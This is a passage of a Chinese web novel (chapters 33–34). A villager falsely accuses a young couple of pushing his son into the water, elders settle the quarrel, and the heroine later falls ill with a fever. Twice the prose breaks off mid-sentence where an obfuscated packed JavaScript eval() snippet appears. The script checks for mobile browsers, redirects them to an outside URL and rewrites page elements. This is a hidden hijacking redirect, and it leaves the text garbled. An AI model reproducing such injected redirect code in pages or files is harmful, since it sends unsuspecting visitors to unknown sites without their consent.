就算判他们对也没事,他最多道个歉服个软,怎么做都不亏,于是便说:“去就去,就算我儿子不是你们推的,也是你们害的,为什么从前没出过事,偏偏你们一来就出事,也不知你们给村里人下了什么邪咒,自打我们回来就一直听他们提起你们,张口闭口说你们好,呵,他们被你们蒙住了,我可不会!今天我就叫他们看看你们的真面目!”
33. 低烧(一)
李仁和苏静蘅争论一番,知道他们住在那地方一时半会儿跑不掉,跌跌撞撞爬起来撂下他们先去村子里告状。
代眉带着孩子去寻村里的草医看病,不消半个时辰孩子清醒,身子没什么大碍,老大夫杵着草药哄着小的那个,又对大的说:“你娘干活不容易,你怎么能乱跑?还往水里去,幸好被人捞起来,不然真出了事,以后可吃不到你娘做的烙饼了。”
孩子小,听不懂这些话,只是偎在娘怀里委屈地掉眼泪。
落水没了半条魂,怎么问他都说不清楚,宋英华叹气,说:“罢了,跟你说你也听不懂,眉娘啊,怎么只有你带孩子来,你家男人呢?”
“他……”
代眉想起那边的事还没了,急说:“阿奶,请您在这儿照看一下小曲儿和小音儿,我相公恐怕要跟别人闹事,我去劝劝他。”
“劝他?”
宋英华只听她说孩子落水被人救了的事,不知道后来到底发生什么。
不过在村子里这么多年,她清楚李仁的性子。
说到底有些上不了台面,平日爱贪小便宜,和村子里其他人合不来,隔三差五吵一架,现在跟别人闹,指不准又要去三井婆婆那儿撒泼打滚,不由得说,“你相公的性子你劝不住,他们人现在在哪边?多叫几个人去帮忙,别让他把脾气带到村子里,又往别人身上撒。”
随便点了几个能帮忙的人名,正说着,门外有人赶来报信,看见代眉急说:“眉娘!你家相公又去三井婆婆那了,这次告的是宁二郎和苏姑娘,大家都赶去凑热闹,你也快去看看,你家公公呢?叫他也去,咱们村就只有他能管得住你相公!”
代眉听见消息吓得肩膀抖抖,说着就往外跑:“他下地去了,烦您去地里叫他一声,我这就去三井婆婆那看看!”
两个孩子丢在屋里,宋英华左右瞧瞧,没法子,先放下手里的事,抱起小的,跟大的说:“这事少不了你作证,去跟婆婆说说到底怎么回事,千万不要叫你爹冤枉好人。”
宁知序回去换了身衣裳,没一会儿村里就派人来叫他和苏静蘅,来的人没说什么,冲他们呵呵干笑几声,有些同情道:“你们俩真不走运,才来没多久就被仁叔缠上,不过我听了他的话,似乎没什么证据证明是你们推的人,这事交给三井婆婆和良月姑娘吧,我看她们也不大高兴,这次肯定要狠狠骂仁叔一顿。”
十八九岁书生模样的少年怯生生站在门口等他们,苏静蘅一听那人真跑到村里告状,愣愣,之后说:“就他一个人去告状的?”
“嗯。”
少年点头,嘴角撇撇,一双眼睛柔柔地盯着他们两个。
宁知序被他盯得起了一身鸡皮疙瘩,听他说自己的大名叫“李和煦”,就知道是村里哪户人家的公子,再仔细一问,果然是赵琴娘儿子,为了桃花宴特地告假回家,上午才到村子里,下午就看上了热闹。
李和煦领着他们往村里去,看起来是个十分腼腆的性子,说话做事都有些慢吞吞的,但一路上却没少讲话,从到村子里听他爹娘提起他们两个开始,一直说到下午李仁去闹事。
三言两语就能说完的事,他前前后后讲了一大堆,宁知序和苏静蘅来不及思考接下来要怎么做,光是听他的话就听得有点发晕。
李和煦若无其事地说:“其实我不想来,是良月姑娘点我来的,引火烧身引火烧身,你们不清楚仁叔为人,谁见了他都能被咬一口,我长这么大还没被他咬过,不知能不能做桃花村唯一一个没被他找过麻烦的人……”
苏静蘅:“……”
宁知序:“……”
“他这次缠着你们是为了什么?”李和煦问。
“钱……钱吧……”
不然苏静蘅也想不通到底为什么会这样。
大约觉得他们背靠宁家,再怎么样也不缺钱,加之听信谣言,又见他们两个被村里人夸过,心里不服气,所以见了他们想讹一顿碰碰运气。
“哦钱啊。”
想来也是,李和煦说,“上次我爹养的鸡吃了他家门口几根菜叶子,他非要让我爹拿鸡赔给他,或者给钱,不然他说他也要挖我们家的菜地。”
“后来赔了吗?”
“当然没有。”李和煦眯着眼,“我爹把鸡杀了分给邻里,就是没给他,差点没把他气死,那件事也把我爹气得够呛,和他吵了两天,干脆把地里菜都收了,一点不剩,全送给大家。”
这是杀敌八百,自损一千……
李和煦唇角扬扬,知道她心里在想什么,道:“新买几只鸡倒也花不了多少钱,没几日各家又送了些自己家的菜和菜苗,所以一番下来并无损失,只是和他家不再有来往而已。”
这么一说苏静蘅心里便不慌了。
看不惯他的不止自己一人,既然大家伙儿都一样,她又有什么可担心的。
现在她只有一句话想问,看那男人骂人打人的样子,想必不是第一次欺负他娘子,他这样子,村里人难道一点都不清楚?
李和煦偶尔从爹娘嘴里听说一些,就道:“阿眉婶婶为人和善,就是性子懦了一点,容易受欺负,仁叔脾气不好,家里只有一个爹,除了阿眉婶婶还有小音儿没有第二个女人,小曲儿也才过五岁,什么事都做不了,所以许多家事都是她做……你想问什么?”
“我看见他——”
苏静蘅嘴唇翕动,半天没说出口。
看样子是真不知道。
既然如此这事还是不要在旁人面前提起了。
李和煦见她不说话,猜出点什么,又说:“我不清楚他们家的事,不过之前听到些风声,说阿眉婶婶想跟仁叔和离,要带孩子走,仁叔不肯,所以就这样耗着。”
“……”
苏静蘅沉默。
“前两日阿眉婶婶父亲五十岁生辰,叫她带着孩子归家祝寿,一家子就跟着去了,阿眉婶婶的大哥在京考试,既为贡生,下月就要参加殿试,凭他的本事,说不准日后要留在京城,到时候安置下来,必会接家人进京,仁叔大约是去巴结的,不知是不是没巴结成,所以——”
所以恼羞成怒,回到家对妻子一点不客气,又正巧碰到他们两个人,把怨气都撒在他们身上,回到村子里再闹一闹,让大家都吃点他的苦头。
“我知道了。”
苏静蘅稍稍偏首看宁知序一眼,视线交替,两人都明白这事一时半会儿结束不了,至少他们这边好说,代眉那边就难说了。
不过既然爹娘在这个时候叫她回家,或许是早就知道夫妻两个人的情分已尽,哄她跟李仁和离,日后好跟着他们一块去过好日子。
这世道夫妻和离不是什么大惊小怪的事,若没有利益驱使或者什么说不开的仇恨,想分开那便分开。
女人可以再嫁,男人可以再娶,依苏静蘅看,经这一事,他们两个这日子肯定是过不下去,一个为了孩子,一个为了钱,要是还能在一起,就算是她倒霉,出门没看黄历被晦气缠身,改日要去寺里烧香磕头,请大师做法去去晦气。
转眼到村里,三井婆婆家门口围着一堆人,家住隔壁的不用挪脚,搬个凳子就在家门口看,听见李仁声泪俱下地控诉,编的那些蹩脚的谎话听得苏静蘅发笑。
他非说是宁知序拐带他儿子,小孩哭喊挣扎,控制不住,干脆扔进河里淹死,有人不屑一顾,问:“他拐带你儿子做什么?人家又不是生不出儿子。”
此话一出,在场众人皆忍不住,纷纷应和,更有说话直接的,毫不留情说:“人家小两口天造地设一对,喜欢孩子就自己生呗,都不知道他俩生出来的娃娃会多漂亮,是吧,万一哪天宁家接他们回去,做了大户人家的少爷少夫人,要你的娃娃又有什么用?”
“是啊!人家住在这里是有原因的,又不是出了城就不姓宁了,我说李老三,你真是有点没事找事,你家小孩呢?小曲儿没什么事吧?是你自己看不住孩子,既然上山干活,为什么非要把那么小的孩子带在身上?小曲儿五岁正是会乱跑的年纪,小音儿又不到两岁,你媳妇一个人肯定看不住啊,实在不行放在村子里我们大家伙帮你照看,用不着你媳妇一个人带两个娃。”
“就是,我们家豆子小时候不也是大家伙儿一起看顾的吗?这小子皮,除了上次烧火毛躁了点,长这么大没出一次事,我看你是信任不过大家,不肯让大家碰你的孩子。”
豆子挤在人群里,一听点到自己,跟着说话,他就喜欢这个时候添乱,尤其是看李仁吃瘪,这人说他长大以后没出息,比不上他家小曲儿,还说小曲儿的舅舅以后能当大官,小曲儿也是当官的命。
嗤,一开始不是看不上代家吗?这会儿又害怕巴结不上,死皮赖脸倒贴过去,被人家赶回来了吧。
初生牛犊不怕虎,旁人说话还带点面子,他一点不怕,干脆扯着嗓子问:“仁叔你这次又打算讹多少钱啊?新来的你也欺负,今年不是第一次叫婆婆给你主持公道了,你简直欺负老人家,这一年要闹多少次你给个整数,我们大家伙儿给你排一排,隔十天还是隔半个月吵一次,定好日子,也免得干活干一半被拉过来听你乱侃。”
说着看见苏静蘅走近,视线偏一偏,宁知序站在她旁边,一副老实的模样,两个人像是被强硬拉过来作证的无辜路人,他当即不说话,别扭地躲到人后。
本该是要骂他的,但李仁瞧见他们两个人,骂豆子的话立刻咽回去,转而指着他们说:“我儿子到现在还昏着呢,你看看他们,一脸没事人的样子!”
一群人看过去,没什么太大的反应。
三井婆婆在家前坐着,静看他闹,也没听见良月姑娘说话,那个十六岁的姑娘正从外边搬了一捆柴向灶屋去,这么一会儿工夫听他说了那么多,垒好柴,出门拍拍手,才开口:“不能只听你一个人说,喏,人来了,也该听听他们怎么说。”
乌黑的头发编作一条粗粗的辫子挂在身后,黑琥珀似的眼珠子转啊转,略显黝黑且稚嫩的脸上显着两三分严肃,没人能猜透她现在心里正在想什么。
两个人对视一眼,苏静蘅心口突突跳了两下。
前些日子她远远见过李良月一面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641856|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,两人没说上话,她见了自己充当没看见,这时候走近了,看她一言不发看着自己,倒叫她有些紧张。
苏静蘅没时间思考,磕磕绊绊开口,原本三两句话就能讲完的事,她硬是像李和煦那样忍不住多讲了几句。
回过神觉得自己是被传染了,而李和煦正站在旁边笑吟吟地看着李良月,等她说完方才低头,道:“还要问问阿眉婶婶呢,刚叫人去喊她,也派人去看看小曲弟弟,若没什么事,再多问几句就结束了,必不会让你们多留。”
李仁还在反驳,三井婆婆依旧不出声,只是静静看着李仁,等他说够了,停下,往这边瞧,她终于有了反应,拐杖在地上敲敲,平静地问:“闹够了没有?”
众人皆噤声,互相看看,等不到下一句话,又都低头。
苏静蘅第一次感受到什么叫做威压。
老太太不必多说,目光只随意从各个人脸上扫过,便好似有一阵阴风刮来,没人敢胡乱应话。
又是只有豆子开口,在他娘身后说:“依我看这事用不着婆婆你管,叫我爹,嗯——还有二伯管就好了,婆婆你在家歇着,仁叔的事以后都不要往你家报了,村里人自己会解决。”
李仁啐道:“呸!谁知道他俩会不会公报私仇!”
他说的二伯就是李和煦他爹,这话一出,那两人自然也不乐意,翻个白眼冷哼一声,话不多说,再瞧苏静蘅和宁知序只觉得他俩可怜。
代眉姗姗来迟,一看那么多人围着李仁看热闹,冲进去连忙拽住他的手说:“回家!你到这里闹什么!小曲儿没事,这事就算了,快回去!”
“没事?”
李仁一愣,他还以为小曲儿今天醒不了,这样能多讹些钱,醒这么快,看样子再闹下去也得不到多少好处。
“孩子真的没事,已经醒了。”
代眉几乎求他,求他不要在这里丢人现眼,可半天拗不过他,只听他不停嘴硬辩解,怪她多管闲事,让她赶紧回去照看孩子,说这里的事他来解决。
没办法,她转头跪在三井婆婆面前认错,前因后果交代一遍,说是自己没看好孩子才叫孩子落水,以后一定看好孩子,哭也哭不出声,闹了这么久,脸色有些苍白,样子看得众人心都揪起来。
苏静蘅原本以为有一场恶战,心想大不了摩拳擦掌干一架,她和宁知序两个人自小上房揭瓦,爬树掏鸟蛋,这些年该干的活该吃的苦一点没少,两个人的力气都不小,打一个人总不能打不过,谁知道眼前情形简直比打她一巴掌还难受。
李和煦说的对,代眉的性子太懦弱,不敢跟她家男人硬碰硬,遇到这种事,又害怕事闹大,只能把所有的错都怪在自己头上。
她年纪也不大,还不到三十,一脸憔悴的模样看起来要往四十去了,李良月将她扶起,可她偏不起,正巧宋英华带着孩子过来,看见孩子她才勉强止住情绪。
元渺主动抱过小音儿,笑眯眯哄她两下,站在人后怕她被吓到。
宋英华背着小曲儿上前,将他放在地上,李良月低头看着这孩子,问:“还认得我么?”
李和曲看见往宋英华身后缩缩,怯生生点头。
“也认得大家是不是?”
她随手挑几个人指给他认,孩子虽然年纪小,但每天都见到的人还是认得,勉勉强强叫几个伯伯阿婶,也认得三井婆婆,一圈人指过去,最后指着苏静蘅和宁知序问:“你见过他们两个吗?”
李和曲摇头。
“今天没见过他们是不是?”
李和曲点头。
李良月若有所思,捏捏李和曲的腮帮子,之后出神一般往地上的土坑看了眼,原地定住,几息过后,抬头看向苏静蘅和宁知序说:“苏姑娘宁公子,你们去吧,这里交给我们就好。”
“嗯?”
这就结束了?
李仁说:“不行,就算不是他们推的我孩子,他们还打了我呢!这怎么算?我就白挨打了?”
苏静蘅问:“我们何时打你了?”
“你们何时没打我?”
苏静蘅死不认账:“我们就是没打你!”
“你!”李仁问代眉,“眉娘,你可看见她打我了,还有她家男人,也动手了是不是?踹我一脚,还把我往地上摔,都是他们两个做的!”
代眉没回答,脸色已经差到极致,眼一翻彻底晕过去。
“眉娘!”
一群人呼喊着上前,扶住人叫宋英华快替她看看。
老大夫刚治好一个又要看下一个,一口气都喘不得,苏静蘅和宁知序被挤在后面,手忙脚乱不知道要怎么做,这时远处又来个年过百半的老头,一看见这情形,上来就踹了李仁一脚,嘴里骂个不停。
闹事的儿子,晕死的儿媳妇,吓哭的孙子和孙女,还有骂天骂地打儿子的爹,一群人劝过这个劝那个,抽空哄哄孩子再看看宋英华那儿治得怎么样。
耳边吵吵嚷嚷,苏静蘅忽然觉得有点喘不过来气,扶住宁知序的手说:“坏了,我好像做了个乱糟糟的梦,现在头有点疼。”
34. 低烧(二)
两个人一时半会儿脱不了身,也不能干站着,歇口气,只能跟着一会儿问问这个,一会照看照看那个,好半天终于消停下来。
李仁挨了亲爹的骂总算不再吭声。
那个老头自始至终没看他们,只顾着自己的儿媳和孙子。
李和煦站在一边看热闹,此刻还有闲心给苏静蘅解释:“仁叔自诩孝顺,早年没了娘,只听爹的话,次次做错事次次被骂,次次不长记性,不过我觉得他们是一个唱红脸一个唱白脸,旁人怎么看他们他们心里有数,嘴上说什么当不得真。”
苏静蘅迷迷瞪瞪点头,三井婆婆又开口喝骂一句,场上安静下来。
她靠在宁知序身上听了会训斥的话,三井婆婆搬了成年旧账做警告,似乎几十年前还有些说不清的仇怨,不大不小,却能在今天搬出来充作新谈资,要挟他们莫要再做热众怒的事。
这一家父子二人点头应下,不知心里到底服不服。
警告终归只是警告,没成明文规定便限制不住人。
一件小事闹了半天,最后得了一句并非出于真心的抱歉,替她愤愤的大有人在,可苏静蘅这时候只想回家躺着,最好吃点热米饭饱饱肚子,裹上被子在这微凉的春日睡一觉。
这一天只吃了点随身带的干粮,回家咽了两块桂花杏糕,连水都没来及喝几口,宁知序不知什么时候握住她的手腕,炽热的温度顺着手腕不断攀岩向上。
她忽然感觉整个人好像被架在蒸笼上一样,浑身上下一阵一阵发热。
宁知序松手,折磨人的感觉又很快消失。
最后说了什么她没大听清,在一群人的注视之中得了两三声宽慰,又不知是谁往自己手里塞了瓜果,回过神已经散场,元渺留着要跟她说话,两个人谈几句,再看天边乌云密布,竟是要起雨。
她赶紧说:“走吧走吧,回家,待会淋雨就不好了。”
李良月似乎要留她,但看见天边风雨欲来的架势,到嘴边的话又咽下去,最后只跟她说:“苏姑娘不必担心,以后若是遇到麻烦,直接来找我们就好,仁叔那儿我们会看着,不会叫他去扰你们。”
苏静蘅冲她笑笑,道:“叫我阿蘅就好。”
李良月噤声,漆黑的眸子仍盯着她。
看着有点过于认真严肃,浅浅思量过后,抿唇朝她颔首。
苏静蘅与三井婆婆道了谢,叫她老人家莫要担心,好生休息着,这点小矛盾不必放在心上,日后她再来村子里看望她老人家。
三两句话说完,牵着宁知序的袖子回家,到家喝了口水,恢复点精气神,长舒一口气,摇头说:“不行不行,找机会一定要去寺庙里拜拜,我们身上恐怕沾脏东西了。”
“你不是不信这些吗?”
“有时信,有时不信,不是全信,又不是全不信。”
苏静蘅撑着脑袋想,被讹的事她不是没遇到过,有的人就是坏,自己做错事只会往别人身上推,从来不会以为是自己的问题。
发生这样的事不需要什么理由,从前在街上走着也被乞丐撞到过,拉着她要她赔给他看病的钱,若遇好心人帮忙谴责两句或许能逃脱,若不能,只能花钱消灾。
这一次是运气好——
嗯,运气好在哪儿?
苏静蘅撑着下巴闭目养神,思考着这个问题。
想到这一次竟不是她独自一人遇到这样的事,也不用她奋力争辩证明自己的清白,有人为她说话有人替她谴责,先前那乱糟糟的场面慢慢从脑袋里退去,她不仅没有生气,反而感觉有些新奇。
那人总不会因这件事来找他们寻仇。
他和村里人那么多的仇,但依旧过得好好的,他给别人弄了那么大的麻烦,把人气得不轻,对自己来说只是顺手的事,回家依旧能吃好喝好睡好。
他心里都没觉得愧疚,自己又为什么要多想。
苏静蘅原本还有些担心,这样想着心里舒坦许多。
睁眼看见宁知序坐在他对面,同样撑着下巴外头看她,此前他给她倒了碗热茶,风吹了一会,温度正好,见她睁眼,立刻端到她面前给她喝,说:“喝了这碗茶去躺着歇歇,我去将今天山里收的那些竹子山笋收起来,没做完的事明日再做。”
“嗯。”
苏静蘅又闭上眼睛,装作迷糊的样子,说,“宁知序,我有点头疼,你快替我揉揉。”
“头疼?”
宁知序吓一跳,那双好看的眼睛里掺上焦急的神色,从他的凳子挪到苏静蘅身边,挨着她坐,问,“是不是风吹着凉了?”
“不是。”
苏静蘅说,“都是那些人吵的。人就是这样,想的事情太多,听的声音太杂,总要头疼,睡一觉就好,今天我同那人吵架,又被他对他娘子的态度气着,还听他爹大闹一场,脑袋早开始嗡嗡叫了,不是着凉,这样的天气,这样恰好的风,我才没这么容易就生病。”
“那赶紧去休息,睡一觉,不要再想这些事了。”
“可是我饿。”
“那我现在就去做点吃的,你吃好了休息。”
“嗯。”
宁知序起身,苏静蘅伸手拽住他,仰脸说:“说了叫你先替我揉揉。”
“……”
宁知序有些局促,“我不大会。”
苏静蘅不说话,腹诽道,这要什么会不会的,不想做大可以直说嘛。
“那算了。”
她刚说完,宁知序看她一眼,旋即改口:“不过试试应该也行。”
“……”
他局促地坐在苏静蘅身边,小心翼翼伸手,五指没入发间,笨拙地寻找着穴位,轻轻揉按,苏静蘅趴回桌上,哼哼着说:“就这样,力度刚刚好……”
声音听起来很是满意,像只懒惰的猫,安心享受着他的抚摸。
宁知序心口一紧,呼吸瞬间急促起来,按了一会,实在按不下去,急忙撤手。
他跑到屋外将从山上推来的那些竹子堆到檐下,山笋扔进灶屋,一番做完,清醒些,又麻利地去做饭,吃完一刻也没歇息,将碗筷洗了又替她熬了些安神汤。
晚间果然下雨,豆大的雨点砸下,伴着雷声,轰隆隆回荡在山间。
苏静蘅有些怕打雷,但这个时候竟然意外的安心,睡前喝了安神汤,头疼似乎好了点,她今日要早睡,因为大雨,天黑得早,所以酉时就躺在床上准备睡觉。
临睡前重复着往日的章程,靠在东屋门槛上懒懒地嘱咐宁知序:“晚上睡觉记得盖好被子,现在我可不会再起夜为你盖被子了。”
宁知序慌忙应下,洗漱过后回屋钻进被窝。
他的床只够躺一人,裹着被子睡在上面刚刚好,屋子里暂无其他的物件,只有一张凳子充当桌子放个茶壶水杯,南北两扇窗户时不时亮起闪电的光辉,碰擦的剧烈声响即便是捂着耳朵也听得清清楚楚。
他在这样激烈的声响中睡去,夜里醒来不知是什么时辰,外面雨停了,月亮高悬,起来想喝口水,却发现壶里空空如也,一滴水也挤不出来,只好去灶屋舀水。
刚出房门就看见堂屋门大开,他心一惊,以为是有外人闯进来,第一反应是去敲东屋的门。
然而走近一看,东屋的门也敞着,不好的预感划过,他冲进东屋,走到床边看见苏静蘅好端端地躺在床上,被子潇洒地掀着,愣怔住,之后无奈摇头,走近替她将被子盖好,说道:“还说我……你自己不也是踢被子吗?”
压好被角,借着昏暗的月光仔细打量她的脸,才发现她脸色苍白,鼻子脸颊粘着黑灰,眉毛痛苦地皱成一团,察觉到他的动作,苏静蘅睁开眼,恍惚道:“谁?是你……宁知序?你怎么来了?我错了,我头还是疼,疼……”
说着不自主地拉住他的手放在自己的额头上,重重喘气,问:“是不是有些烧?我真的病了,早知道就不嘴硬了——”
床边放着个木盆,里面拌着草木灰,苏静蘅话没说完就往里面呕苦水。
原来是一觉睡醒实在难受得不行,心里边塞着一团浊气,稍微动一动就觉得恶心,半夜起来出去吐了会,等到实在吐不出东西,硬撑着去灶膛里掏了些草木灰出来放在床边备着。
脑袋昏昏沉沉,对着草木灰打了个喷嚏又随手擦擦脸,脸上沾满了黑灰也不知道。
这会子心里还是不舒服,知道自己大话说得太早,病急之时还有些难为情,宁知序摸摸她的额头,果然有些烧,手忙脚乱地拿出自己那药箱,翻找一番,却根本找不出什么她能吃的药。
除了些跌打损伤的药膏,其余的丹药旁人不能随便吃。
他猛地叹一声气,这个时候不得不怨自己,穿好衣服急匆匆地要出门,说:“我去找大夫——”
“别去。”
苏静蘅制止他,一只手半耷在床边,吊着一口气说,“大晚上的哪有大夫,我没事,难受是难受了一点,但死不了,大概到明天早上就好了。”
明天早上?
宁知序看看天上的月亮,这才子时,要熬到早上谈何容易。
“村里有大夫……”
“你让她歇歇吧。”
桃花村里一共两个草医,就是今天见到的宋英华和她丈夫李茂德。
二人在村里当了几十年的大夫,说不上是老神医,但胜在经验丰富,大病或许治不了,小病医治起来却是手到擒来。
这些年看过不少病人,远近几个村子的村民若是生病都会找他们,偏偏这几日李茂德不在家,去祭奠死在外地的儿子,大约后日回来,现在村里只有宋英华一人守着,今天救人不容易,大半夜为一定小事去叨扰她不大好,苏静蘅觉得等明天早上要是身子还是不舒服再去比较好,反正死不了,稍微忍着点,撑过去也少欠些人情。
“才下过雨,山路不好走,太麻烦了……”
“可是——”
宁知序见她向自己伸手,鬼使神差地走回床边,拉住她的手。
“你的手真冷。”
苏静蘅揉揉他的掌心,然后再将他的手贴在自己的额头上,宁知序定定神,道:“我去打盆水来替你擦擦。”
“嗯。”
苏静蘅虚弱点头。
宁知序端来冷水用布巾浸了敷在她额头上,又用另一块沾水轻轻擦拭脖颈处,中间看她忍不住吐了两次,心几乎揪起来,过了小半个时辰倒是没有再吐,昏昏沉沉看样子是睡了,可一摸额头仍是有些烫。
这样下去不是办法。
宁知序小声说:“我去换盆水来。”
苏静蘅没应。
他出了屋子关上门于是朝桃花村跑去,刚下过雨满地烂泥,走起来有些吃力,然而顾不了这么多,顺着山路往上,到村里入眼是几户眼熟的人家。
他只认得三井婆婆和元渺家,又不曾与三井婆婆打过交道,短暂犹豫一下,去敲了元渺家房门。
年纪大的觉浅,周素娘听见敲门声支起身子往外看,推推身边人说:“有人敲咱们家的房门。”
李泊起身,黑暗中与她对视一眼,然后问:“谁啊?”
宁知序忙出声:“是我!伯伯,我娘子病了,正发着烧,不知宋大夫住在何处,村里人我不大认得,只能来找你帮忙!”
李泊和周素娘两人闻言起身穿衣,两个人嘴里念叨:“病了?怎么就病了?肯定是今天的事闹的!”
“叫渺渺和阿薪起来看看,唉!年纪轻容易被吓着,那孩子肯定是被吓着了,自己不知道,到夜里发热了才明白。”
老两口去敲元渺和李和薪的房门,唤道:“渺渺和薪!快起来,山脚下那位姓苏的姑娘似乎是病了,你们谁去瞧瞧!”
元渺躺在床上正迷糊着,听见苏静蘅的名字一下清醒,弹起来的同时不忘把李和薪揪起来,匆匆忙忙出去,看见宁知序一身狼狈,脚踩烂泥,结结巴巴跟爹娘说了大概,中间不停道歉。
她随意将头发绾了绾,冲到他面前:“我叫我相公去请人,你带我去你家看看。怎么能病呢?下午不是还好好的?”
宁知序却要跟李和薪一块去,元渺没说什么,于是三个人一块往西边去,带着宁知序认熟了路,将人接到,宋英华问了大概症状,收拾收拾药箱就跟着宁知序下山。
苏静蘅睁眼就看见屋里多了几个人,除了李和薪在屋外等着,其余人都围在床前。
元渺坐在床边拉着她的手,宋英华说要为她施针,银针在耀眼的烛火前散发着冰冷的光芒,苏静蘅一瞬间慌神,而后有些害怕地对着宁知序埋怨道:“你怎么去叫人了?我叫你别去……”
宁知序说:“你骂我罢,我不能眼睁睁看你这样病着不看大夫。”
他在宋英华身后站着,心里还是担忧,下一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657098|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻看见元渺要替她脱衣,吓一跳,连忙退出房间。
宋英华见状赶在他出门之前叫住他,从药箱里拿出三包草药,说:“一包煮成水,用来擦身子,一包熬汤,内服,施针后半个时辰用,剩下一包同样内服,明天等她醒来之后再用。”
“好。”
宁知序不敢看她的眼睛,这位同样经历过大风大雨的老大夫始终一副镇定恬然的模样,他的任何情绪在她眼里似乎都无所遁形,宁知序心虚极了,回避视线,拿着药草去灶屋熬煮。
李和薪这时不慌不忙地跟过去,看他在黑漆漆的灶屋里掏出火折子正要点火,嘴唇微动,问:“你很喜欢你娘子?”
宁知序闻言怪异地看他一眼,之后继续点火,道:“你不喜欢你娘子?你喜欢,我自然就喜欢。”
李和薪笑笑:“我自然是喜欢的。”
宁知序又看他一眼,这时候便有一种正大光明表明自己心意的态度,挺挺肩,说:“那我自然也是喜欢的。”
“既然喜欢,又为什么要分房睡?”
宁知序的动作顿住,手里的火折子明明灭灭,暗光照在他脸上,显着一股淡淡悲绪,他嘴硬道:“为什么不能分房睡?谁说夫妻不能分房睡,我们乐意分房睡,屋子多,一人一间睡着舒服!”
“这样啊。”
李和薪靠在门框上,很快闻到一股浓烈的草药香,“你是娘子不喜欢你?”
“你不是她,又怎知她不喜欢我。”
宁知序拿着扇子焦躁地扇火,
“喜欢你会跟你分房睡?”
“喜欢我为什么就不能跟我分房睡?”
一个刨根问底,一个嘴硬到底。
屋里传来声音,正是元渺在叫他,宁知序懒得跟他说,火急火燎地扔下扇子进去查看。
李和薪自然是接过他的活替他熬汤药,一边摇扇子一边笑。
原来有人比他还惨。
刚才进屋时看见西边屋子的门开着,站在门口瞄了一眼,看见里面有张床,凳子上搭着些衣服,一看便知是宁知序的屋子。
自己的娘子自己不能碰,对外还要编借口,奇怪的胜负欲让他对宁知序的疏远感渐渐减少,宁知序此时却不知道李和薪是如何想的,若是知道,肯定会狠狠冷嗤一声。
这有什么丢脸的,他正乐在其中呢!
屋里宋英华给苏静蘅施完针,叫她好生歇着,还是惹了风寒,开了些辛温解表的方子服用几日,其他没什么大事,又说她吐得厉害,应该是吃错了东西。
苏静蘅迷糊之中想起来,上午见了山泉,没忍住捧了两口山泉水喝,那时没想太多,只觉得清凉,现在想想吐得这么厉害大概是那捧山泉水惹的祸。
宋英华道:“那就是了,病上加病,才这么折磨人。”
并非所有人喝山泉水都会生病,体质强的不必担心,像她这种体质弱的,最容易中招。
生气病来上吐下泻,喝一口水要三五天才能休息好。
苏静蘅裹着被子缩在床上,两颊热得发红,听宋英华和宁知序说话,将吃药事宜交代一遍,元渺拉着她的手安慰几句,之后下巴抵在她的额头上说:“宋阿奶说你没什么事,只等吃完药烧退了就好,明早我再来看你,一定给你煨老鸡汤喝。”
苏静蘅眯着眼应下。
来的时候是宁知序背宋英华行夜路,走的时候便轮到李和薪背她回家,宁知序原想亲自将人送回去,可元渺叫他留下来配着苏静蘅,权衡之下,他还是选择听她的话。
将几人送到路口,看着他们上山,期间道了许多声谢,好一会儿回到灶屋,看着煮着的药水,宁知序忽的一惊,追出去,却已经迟了,山路上一个人影都没有,这时候再叫人回来不合适。
他倒吸一口气。
这药汤是用来擦身子的。
谁来擦?
他不大方便!
正急得团团转,李和薪和元渺将宋英华送回家,往自家走的路上,李和薪说:“宋阿奶给宁公子的药,一副内服,一副熬成汤水擦拭身子,这会不知道宁公子方不方便,他和苏姑娘似乎还分房睡。”
“哎呀!你怎么不早点提醒我!”
元渺吓一跳,瞪眼问他。
“人家是夫妻——”
“夫妻那也不成!”
元渺急得跺脚,家也不回,拉着李和薪又下山。
宁知序好不容易说服自己,心脏扑通扑通跳,还故作镇定地端着水进屋,准备给苏静蘅擦身子,这时看见路上出现两个身影,正是去而复返元渺和李和薪,顿时如见救星,放下药汤赶上去迎接。
元渺说了来意,又骂李和薪两句,宁知序大喜:“太好了!太感谢了!渺渺姑娘你是好人!劳你替我娘子将这汤药用了,我一定谢你!”
“宁公子见外了。”
元渺也不多说,赶紧端着汤药进屋再替苏静蘅擦身子,一番过后,又听宁知序说了许多谢话才离开,这下送走两人,已经是鸡鸣时分。
折腾这么久,中间迷迷糊糊地睡了一会儿,苏静蘅果真觉得身子好了点,头没疼得那么厉害,也不想吐了,只是宁知序偏要喂她喝药,她不想喝,打小就讨厌喝药,这药闻起来还那么苦,喝了没准又要吐。
“必须喝。”
宁知序的语气不容置喙,为了哄她,特地拿出几块桂花杏糕放在床头,而后坐在床上让她靠着自己,一声一声地哄,总算再药汁彻底凉之前喂进她嘴里。
喝完药,这一夜总算能歇下来,宁知序没打算走,就在她床边陪着她。
这段时间只进过她屋子两次,到这时候他才发现那天他做的小竹球背她拿绳子系着挂在床上,下面坠着自己亲手打的络子,看起来像哄小孩睡觉的玩具,悬在脑门上,一有动静就摇啊摇。
宁知序伸手拨拨竹球,浅浅出神,听见她躺在床上轻哼,又回过神低头,小心翼翼看她。
